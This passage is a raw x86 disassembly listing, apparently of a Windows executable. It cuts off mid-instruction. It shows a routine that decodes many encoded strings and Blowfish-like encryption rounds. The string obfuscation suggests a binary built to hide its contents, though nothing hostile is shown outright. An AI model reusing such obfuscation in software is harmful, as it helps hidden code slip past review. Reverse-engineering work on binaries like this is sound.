jle short loc_41D660 mov edi, offset byte_4396F7 mov [ebp+arg_0], eax loc_41D629: ; CODE XREF: sub_41D499+1C5j lea ebx, [edi-9Fh] push esi push esi push ebx call sub_422120 pop ecx push eax push ebx call sub_41CEE1 add esp, 10h push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h add edi, 0B8h dec [ebp+arg_0] jnz short loc_41D629 loc_41D660: ; CODE XREF: sub_41D499+186j push esi mov edi, offset dword_439638 push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset dword_43963C push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset byte_455608 push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset byte_455609 push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset dword_439644 push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset dword_439648 push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h push esi push esi push edi call sub_422120 pop ecx push eax push offset dword_43964C call sub_41CEE1 add esp, 10h mov edi, offset dword_439650 push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h push esi push esi mov edi, offset dword_43B03C push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset byte_43B13B push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset dword_43B44C push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset off_43B54B push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset dword_43B85C push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset byte_43B95B push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, (offset loc_439027+1) push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, (offset loc_439043+1) push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset aIQ ; "(I]q" push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset aRa ; "=RA" push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset aTa ; "=TA" push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset aZ ; "=Z\\" push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset a8hj ; "8HJ" push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset aTf ; "'TF" push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset aZ_0 ; "=Z]" push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset dword_43C078 push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset dword_43C080 push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset dword_43C088 push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset dword_43C090 push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset dword_43C098 push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset dword_43C0A0 push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset dword_43C0A8 push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h push esi push esi mov esi, offset dword_43C0B0 push esi call sub_422120 pop ecx push eax push esi call sub_41CEE1 add esp, 10h pop edi pop esi pop ebx pop ebp retn sub_41D499 endp ; =============== S U B R O U T I N E ======================================= sub_41D94C proc near ; CODE XREF: sub_419B2F+35p ; sub_419F6A+C9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_41D988 mov esi, [esp+4+arg_4] test esi, esi jz short loc_41D988 cmp byte ptr [eax], 0 jz short loc_41D988 cmp byte ptr [esi], 0 jz short loc_41D988 push edi push esi push eax call sub_41E8CB mov edi, eax push edi push offset aS_1 ; "%s" push esi call dword_42F24C ; wsprintfA push edi call sub_421C78 add esp, 18h pop edi loc_41D988: ; CODE XREF: sub_41D94C+7j ; sub_41D94C+Fj ... pop esi retn sub_41D94C endp ; =============== S U B R O U T I N E ======================================= sub_41D98A proc near ; CODE XREF: sub_4120E9+3Dp push esi mov esi, offset dword_4395E8 push offset aDJstMfgyq_ ; "d/Jst/MFgyQ." push esi call sub_41D94C push offset aErwc30qfw_p0 ; "eRWc30Qfw.P0" push esi call sub_41D94C push offset a86tb1fspjg0 ; "86tb/1FSpjg0" push esi call sub_41D94C push offset aPlsymAee6v1 ; "PlsYM/aEe6v1" push esi call sub_41D94C push offset aC7rq4Xpvel_ ; "c7RQ4/xPvel." push esi call sub_41D94C push offset aOb4iqKj5ue_ ; "Ob4iQ/KJ5ue." push esi call sub_41D94C push offset aNfknl0nqigy0 ; "NFKNL0nQigY0" push esi call sub_41D94C push offset aE0idd0rdw2u ; "e0idD0RDw2U/" push esi call sub_41D94C add esp, 40h push offset aS3dyJzo6r ; "s3dY//JZo6r/" push esi call sub_41D94C push offset aPdazx1odsoh0 ; "PDazX1oDSOh0" push esi call sub_41D94C push offset aUc6wg1ovwvt1 ; "uc6Wg1OvWVt1" push esi call sub_41D94C push offset aDj9owUmrbd_ ; "dJ9OW/uMRBD." push esi call sub_41D94C push offset aP00ls0k4t_n1 ; "P00Ls0K4t.N1" push esi call sub_41D94C push offset aL3nyw_d7tfl_ ; "l3nYW.D7Tfl." push esi call sub_41D94C push offset aVsz2xXqjp5 ; "Vsz2x/xqJP5/" push esi call sub_41D94C push offset aPnb_aBfzu60 ; "pNb.a/Bfzu60" push esi call sub_41D94C add esp, 40h push offset aQbwgd0cfxf_ ; "qbwGd0CFxf./" push esi call sub_41D94C push offset a2mo7g0_b0qj ; "2mo7G0.B0qj/" push esi call sub_41D94C push offset a1ylid_ejqp01 ; "1YLId.eJQP01" push esi call sub_41D94C push offset a47ff020f_0_ ; "47Ff/020f.0." push esi call sub_41D94C push offset aHyomeIovtv_ ; "HyOMe/iovtV." push esi call sub_41D94C push offset aPlsymAee6v1_0 ; "PlsYM/aEe6v1" push esi call sub_41D94C push offset aCwxyh0ryouv1 ; "CwXYh0RYoUv1" push esi call sub_41D94C push offset aEavyh_ic0dc0 ; "eAvYh.IC0dc0" push esi call sub_41D94C add esp, 40h push offset aN1_5f0do0oh_ ; "N1.5f0Do0oH." push esi call sub_41D94C push offset aUz3rf_vtkug1 ; "uz3rf.VTKug1" push esi call sub_41D94C push offset aI3ncg_v5u4g_ ; "I3nCG.v5U4g." push esi call sub_41D94C push offset a9bwj__lz2my0 ; "9bWj..lZ2My0" push esi call sub_41D94C push offset aRiocl1kztwo0 ; "rioCl1kzTWO0" push esi call sub_41D94C push offset a_swwg1hqeii1 ; ".SWwg1hqeiI1" push esi call sub_41D94C push offset aG3obv_r6j7h ; "g3obv.r6j7H/" push esi call sub_41D94C push offset aM5spx_qp7lx_ ; "M5sPX.Qp7Lx." push esi call sub_41D94C add esp, 40h push offset aF9ax112067l1 ; "f9aX112067l1" push esi call sub_41D94C push offset a_hioo_5pweu_ ; ".HiOo.5pwEU." push esi call sub_41D94C push offset aAjttz06ztse1 ; "ajTtz06Ztse1" push esi call sub_41D94C push offset aUn3hk0sn58o ; "uN3hk0sn58o/" push esi call sub_41D94C push offset aQrn4z10ge1i1 ; "QRn4z10ge1I1" push esi call sub_41D94C push offset aBvuso0ed3mw ; "bVUSO0ed3MW/" push esi call sub_41D94C push offset a6x2ka0buubb_ ; "6x2Ka0buUbB." push esi call sub_41D94C push offset aTvjro1ubgtg1 ; "TVJrO1uBGtg1" push esi call sub_41D94C add esp, 40h push offset aL80reUvcue1 ; "l80re/UvCUe1" push esi call sub_41D94C push offset aH1cmq0wqw5c_ ; "h1cMQ0wQw5C." push esi call sub_41D94C push offset a7tmte_meccn ; "7Tmte.MEccn/" push esi call sub_41D94C push offset aWn7_tNza2v ; "wN7.t/nZA2V/" push esi call sub_41D94C push offset aGkyv90skypy ; "gkYv90Skypy/" push esi call sub_41D94C push offset aX2yn5_2imz1 ; "X2yN5/.2ImZ1" push esi call sub_41D94C push offset aNPbw1sdkiw_ ; "N/pbW1sDKiw." push esi call sub_41D94C push offset aFdxpb0leh21_ ; "fDxPB0lEh21." push esi call sub_41D94C add esp, 40h push offset aVb1r0N_arr0 ; "vB1r0/N.Arr0" push esi call sub_41D94C push offset aUts3o_rfmks_ ; "uts3o.RfmkS." push esi call sub_41D94C push offset aBpyvp_fw0vy1 ; "bPYVP.Fw0vY1" push esi call sub_41D94C push offset aQxqog1goyq80 ; "QXqOg1gOYq80" push esi call sub_41D94C push offset aVxa_uCdd7s0 ; "VXA.u/cDD7S0" push esi call sub_41D94C push offset aQc9zs1zgzff0 ; "Qc9zS1zGZff0" push esi call sub_41D94C push offset aWpuwr_6yfru ; "WpuWr.6YFRU/" push esi call sub_41D94C push offset a4rmbzFcic21 ; "4RmBz/FCic21" push esi call sub_41D94C add esp, 40h push offset aSc_coSwlk_ ; "SC.Co/swLK/." push esi call sub_41D94C push offset aWyf3k1fthkz_ ; "WyF3K1fTHKz." push esi call sub_41D94C push offset aCwxsh_xflvu_ ; "cwXsH.xFlvu." push esi call sub_41D94C push offset aKxor8_os17a0 ; "KxOR8.oS17a0" push esi call sub_41D94C push offset aSasd20nmhk50 ; "sAsD20NmhK50" push esi call sub_41D94C push offset aHpmch0pbq800 ; "HPmCH0PbQ800" push esi call sub_41D94C push offset aLees11vpbnf0 ; "LeEs11vPbnf0" push esi call sub_41D94C push offset aLbjvg0r_qmb_ ; "lbJVg0r.qMb." push esi call sub_41D94C add esp, 40h push offset aHj6vo0jrp9q0 ; "Hj6vo0JRP9Q0" push esi call sub_41D94C push offset aR7wrsQhek_0 ; "r7WRs/qHek.0" push esi call sub_41D94C push offset aDuzcb0kgssv0 ; "DuzCb0KgSsv0" push esi call sub_41D94C push offset aDqjso_47pdb ; "dQJSO.47pdb/" push esi call sub_41D94C push offset aK9vUKkutm ; "K9V/U/KkuTM/" push esi call sub_41D94C push offset a7yfnz0pw11s1 ; "7yfnz0PW11s1" push esi call sub_41D94C push offset aNq_as1z1sit ; "nQ.As1Z1SIt/" push esi call sub_41D94C push offset aUn3hk0sn58o_0 ; "uN3hk0sn58o/" push esi call sub_41D94C add esp, 40h push offset aQrn4z10ge1i1_0 ; "QRn4z10ge1I1" push esi call sub_41D94C push offset aIegud0v_5_ ; "iEguD0V/.5/." push esi call sub_41D94C push offset aFc9kk1jx11g_ ; "fc9Kk1jX11G." push esi call sub_41D94C push offset aDnjq8Ze3zw ; "DnjQ8/ze3ZW/" push esi call sub_41D94C push offset aVi0qa1mvfro1 ; "VI0QA1mvfro1" push esi call sub_41D94C push offset aJdzdp05e7aw_ ; "jdZDp05E7aW." push esi call sub_41D94C push offset aW3gp6_13acy1 ; "W3GP6.13AcY1" push esi call sub_41D94C push offset aZat3j_lm3ge1 ; "zAT3J.lm3Ge1" push esi call sub_41D94C add esp, 40h push offset aLjAmKzrtp1 ; "lJ/am/kZRtP1" push esi call sub_41D94C push offset aXzaru0amxhi_ ; "XZArU0aMxhi." push esi call sub_41D94C push offset aRa7e2Hhxpf0 ; "rA7E2/hHXPf0" push esi call sub_41D94C push offset aRp4sr11cvr1 ; "Rp4sR11CvR1/" push esi call sub_41D94C push offset aZqrvt0t6nmz_ ; "ZqrVt0t6nmZ." push esi call sub_41D94C push offset a1shta0bzfwk1 ; "1ShtA0bzFwk1" push esi call sub_41D94C push offset aAzcsp_hkilo_ ; "AZcsP.hkiLO." push esi call sub_41D94C push offset aIkgekKykjq1 ; "iKgEK/kyKJQ1" push esi call sub_41D94C add esp, 40h push offset a6x7zf1eztny_ ; "6x7zf1EztnY." push esi call sub_41D94C push offset a7otcu0fic6v0 ; "7otcU0FiC6V0" push esi call sub_41D94C push offset aMb05gVyf8f1 ; "mb05g/VYf8f1" push esi call sub_41D94C push offset aFyflu0ji3xh_ ; "FyFlU0jI3XH." push esi call sub_41D94C push offset aSbsip_o7v4b ; "SbsIp.o7V4B/" push esi call sub_41D94C push offset aN3saa1expwu1 ; "n3sAa1exPWU1" push esi call sub_41D94C push offset aBurnP75wk ; "/BURN/P75Wk/" push esi call sub_41D94C push offset aXkg84_cesgs_ ; "XkG84.cESgs." push esi call sub_41D94C add esp, 40h push offset aPsern1aagh6_ ; "pSern1AAGh6." push esi call sub_41D94C push offset aUyfog_dvvny0 ; "UyfOG.DvVnY0" push esi call sub_41D94C push offset aP06vqBfbmo_ ; "p06vq/BFBMo." push esi call sub_41D94C push offset a3vvsv1vurua ; "3VVsV1VuRUA/" push esi call sub_41D94C push offset a2onvg1wfjmb1 ; "2ONVG1WFjmb1" push esi call sub_41D94C push offset aZqhijZaeza_ ; "ZqhIJ/ZaEZa." push esi call sub_41D94C push offset aKmdie1uwntq ; "KmdIe1UwntQ/" push esi call sub_41D94C push offset aUpx0wCz2ei0qrn ; "UPx0W/cz2EI0QRn4z10ge1I1" push esi call sub_41D94C add esp, 40h push offset aV6jbh0k4uD_ ; "V6jBH0k4u/d." push esi call sub_41D94C push offset aB2smo_whkew_qr ; "B2smo.WHkeW.QRn4z10ge1I1" push esi call sub_41D94C push offset aX4cty1aeqwx ; "X4Cty1aEQwX/" push esi call sub_41D94C push offset aEm42x_1iszi1 ; "Em42x.1IsZI1" push esi call sub_41D94C push offset aErnniHm17t1qrn ; "ERNNi/HM17T1QRn4z10ge1I1" push esi call sub_41D94C push offset aZk1tr0lpp5r0 ; "Zk1Tr0lpP5R0" push esi call sub_41D94C push offset a6ldraK4kds ; "6ldRA/K4kDS/" push esi call sub_41D94C push offset aX_62c_3ldcp ; "X.62C.3LDCP/" push esi call sub_41D94C add esp, 40h push offset aWt4rnWgl6v_ ; "wt4Rn/WGL6V." push esi call sub_41D94C push offset aXxulc08o9rf0 ; "Xxulc08O9rf0" push esi call sub_41D94C push offset aFepmfZswfd ; "FEpMF/ZswFD/" push esi call sub_41D94C push offset aSud8hRsu8j1 ; "sUd8h/rsu8j1" push esi call sub_41D94C push offset aJ2yyw_j09xc ; "j2yYw.J09XC/" push esi call sub_41D94C push offset a43ucs0rkqux_ ; "43uCS0rkQUx." push esi call sub_41D94C push offset aZjiqo07c20 ; "ZjIqO/07c2/0" push esi call sub_41D94C push offset aA4pllAqpbg_ ; "a4pll/aQpBg." push esi call sub_41D94C add esp, 40h push offset aNn0i61ujg7h1 ; "NN0i61uJg7H1" push esi call sub_41D94C push offset aEavyh_ic0dc0_0 ; "eAvYh.IC0dc0" push esi call sub_41D94C push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C." push esi call sub_41D94C push offset aNoazx1alvg0 ; "NoaZx1Alvg/0" push esi call sub_41D94C push offset aH08_Drzwx_ ; "h/08./drzWX." push esi call sub_41D94C push offset aQo1bf0_b7k40mn ; "qo1bf0.B7k40Mnsrm1FhS.k." push esi call sub_41D94C push offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx." push esi call sub_41D94C push offset aWxbrg_rpy8y_ty ; "wXBrG.Rpy8y.TY84s/myQpz0" push esi call sub_41D94C add esp, 40h push offset aQnqb5Bavh1_mns ; "qnQb5/bavH1.Mnsrm1FhS.k." push esi call sub_41D94C push offset aFr3nb0ttxid1mn ; "Fr3NB0Ttxid1Mnsrm1FhS.k." push esi call sub_41D94C push offset aIvrum__ltyn0x9 ; "iVRum..LtyN0X9DHH1k06Rd1" push esi call sub_41D94C push offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0" push esi call sub_41D94C push offset a68gmpWcesMnsrm ; "68gmp/wceS//Mnsrm1FhS.k." push esi call sub_41D94C push offset aYuohiGmfzv ; "yUoHi/GMFZv/" push esi call sub_41D94C push offset aX1pikRo_tl_ ; "X1PIk/rO.TL." push esi call sub_41D94C push offset aZrbax_zpsbs_ty ; "ZRbAx.zPSBs.TY84s/myQpz0" push esi call sub_41D94C add esp, 40h push offset aRaMr15qabm1 ; "RA/Mr15qAbm1" push esi call sub_41D94C push offset aPnmnw_7rscg0 ; "PnmNw.7RScG0" push esi call sub_41D94C push offset aBsxrm1gm35a0ty ; "BSXRM1GM35a0TY84s/myQpz0" push esi call sub_41D94C push offset aCkdai0gd9lr_ ; "ckdai0Gd9lr." push esi call sub_41D94C push offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0" push esi call sub_41D94C push offset aSmo3c0mcu8j_xf ; "SmO3C0MCu8j.xfK1r.VuQwI." push esi call sub_41D94C push offset aTovrfYuzfi1mns ; "tOVrF/YuzFI1Mnsrm1FhS.k." push esi call sub_41D94C push offset a8niowW5nrt1 ; "8nIOw/w5nRT1" push esi call sub_41D94C add esp, 40h push offset aM7pC1xaudb1ty8 ; "m7P/c1xaudB1TY84s/myQpz0" push esi call sub_41D94C push offset aIazcn0rzRw0xfk ; "iaZcN0Rz/rw0xfK1r.VuQwI." push esi call sub_41D94C push offset aFr5ye08wltp1mn ; "fr5ye08Wltp1Mnsrm1FhS.k." push esi call sub_41D94C push offset a8sxng_tdfrt ; "8sXNG.tDfrt/" push esi call sub_41D94C push offset a75bqq0i7ucw0 ; "75bQQ0i7ucW0" push esi call sub_41D94C push offset aI7lwu1uby8a0 ; "i7LwU1UbY8A0" push esi call sub_41D94C push offset a2fulsVpayi0 ; "2FUlS/VPAyI0" push esi call sub_41D94C push offset aCwje81zpyq1_ty ; "CWje81ZpYQ1.TY84s/myQpz0" push esi call sub_41D94C add esp, 40h push offset aXtyre1_rjar_xf ; "XtyrE1.RJaR.xfK1r.VuQwI." push esi call sub_41D94C push offset aZshqz13bz2w1 ; "ZsHqZ13bZ2w1" push esi call sub_41D94C push offset aJjc1c1nn0bl0ty ; "JJc1c1nn0bL0TY84s/myQpz0" push esi call sub_41D94C add esp, 18h pop esi retn sub_41D98A endp ; =============== S U B R O U T I N E ======================================= sub_41E077 proc near ; CODE XREF: sub_41E8CB+68p var_8 = dword ptr -8 push esi push 48h mov esi, ecx call sub_423F55 mov [esi], eax mov [esp+8+var_8], 13A0h call sub_423F55 mov [esi+4], eax pop ecx mov eax, esi pop esi retn sub_41E077 endp ; =============== S U B R O U T I N E ======================================= sub_41E097 proc near ; CODE XREF: sub_41E8CB+13Fp push esi mov esi, ecx push dword ptr [esi] call sub_421C78 push dword ptr [esi+4] call sub_421C78 pop ecx pop ecx pop esi retn sub_41E097 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E0AD proc near ; CODE XREF: sub_41E791+C0p ; sub_41E791+F3p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov edi, [ecx] mov edx, [eax] mov eax, [ecx+4] xor ecx, ecx xor edx, [edi] xor ebx, ebx mov [ebp+var_C], edi mov [ebp+var_4], edx mov esi, edx mov cl, byte ptr [ebp+var_4+2] mov bl, dh shr esi, 18h mov ecx, [eax+ecx*4+4E8h] add ecx, [eax+esi*4] mov esi, 0FFh and edx, esi xor ecx, [eax+ebx*4+9D0h] add ecx, [eax+edx*4+0EB8h] mov edx, [ebp+arg_4] xor ecx, [edi+4] xor ecx, [edx] xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor ebx, ebx xor edx, [edi+8] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov bl, byte ptr [ebp+var_4+1] mov edx, [eax+edx*4+4E8h] shr edi, 18h add edx, [eax+edi*4] mov edi, [ebp+var_4] and edi, esi xor edx, [eax+ebx*4+9D0h] add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+0Ch] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor ebx, ebx xor edx, [edi+10h] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov bl, byte ptr [ebp+var_4+1] mov edx, [eax+edx*4+4E8h] shr edi, 18h add edx, [eax+edi*4] mov edi, [ebp+var_4] xor edx, [eax+ebx*4+9D0h] and edi, esi add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+14h] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor ebx, ebx xor edx, [edi+18h] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov bl, byte ptr [ebp+var_4+1] mov edx, [eax+edx*4+4E8h] shr edi, 18h add edx, [eax+edi*4] mov edi, [ebp+var_4] and edi, esi xor edx, [eax+ebx*4+9D0h] add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+1Ch] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor ebx, ebx xor edx, [edi+20h] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov bl, byte ptr [ebp+var_4+1] mov edx, [eax+edx*4+4E8h] shr edi, 18h add edx, [eax+edi*4] mov edi, [ebp+var_4] and edi, esi xor edx, [eax+ebx*4+9D0h] add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+24h] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor edx, [edi+28h] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov edx, [eax+edx*4+4E8h] shr edi, 18h xor ebx, ebx add edx, [eax+edi*4] mov bl, byte ptr [ebp+var_4+1] mov edi, [ebp+var_4] xor edx, [eax+ebx*4+9D0h] and edi, esi add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+2Ch] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor ebx, ebx xor edx, [edi+30h] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov bl, byte ptr [ebp+var_4+1] mov edx, [eax+edx*4+4E8h] shr edi, 18h add edx, [eax+edi*4] mov edi, [ebp+var_4] and edi, esi xor edx, [eax+ebx*4+9D0h] add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+34h] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor ebx, ebx xor edx, [edi+38h] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov bl, byte ptr [ebp+var_4+1] mov edx, [eax+edx*4+4E8h] shr edi, 18h add edx, [eax+edi*4] mov edi, [ebp+var_4] and edi, esi xor edx, [eax+ebx*4+9D0h] add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+3Ch] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] mov eax, [ebp+var_4] xor edx, [edi+40h] xor eax, edx mov edx, [ebp+arg_4] xor ecx, [edi+44h] pop edi mov [edx], eax mov eax, [ebp+arg_0] pop esi pop ebx mov [eax], ecx leave retn 8 sub_41E0AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E41E proc near ; CODE XREF: sub_41E8CB+D5p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov edi, [ecx] xor ebx, ebx mov [ebp+var_C], edi mov edx, [edi+44h] xor edx, [eax] mov eax, [ecx+4] xor ecx, ecx mov [ebp+var_4], edx mov esi, edx mov cl, byte ptr [ebp+var_4+2] mov bl, dh shr esi, 18h mov ecx, [eax+ecx*4+4E8h] add ecx, [eax+esi*4] mov esi, 0FFh and edx, esi xor ecx, [eax+ebx*4+9D0h] add ecx, [eax+edx*4+0EB8h] mov edx, [ebp+arg_4] xor ecx, [edi+40h] xor ecx, [edx] xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor ebx, ebx xor edx, [edi+3Ch] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov bl, byte ptr [ebp+var_4+1] mov edx, [eax+edx*4+4E8h] shr edi, 18h add edx, [eax+edi*4] mov edi, [ebp+var_4] and edi, esi xor edx, [eax+ebx*4+9D0h] add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+38h] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor ebx, ebx xor edx, [edi+34h] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov bl, byte ptr [ebp+var_4+1] mov edx, [eax+edx*4+4E8h] shr edi, 18h add edx, [eax+edi*4] mov edi, [ebp+var_4] xor edx, [eax+ebx*4+9D0h] and edi, esi add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+30h] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor ebx, ebx xor edx, [edi+2Ch] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov bl, byte ptr [ebp+var_4+1] mov edx, [eax+edx*4+4E8h] shr edi, 18h add edx, [eax+edi*4] mov edi, [ebp+var_4] and edi, esi xor edx, [eax+ebx*4+9D0h] add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+28h] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor ebx, ebx xor edx, [edi+24h] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov bl, byte 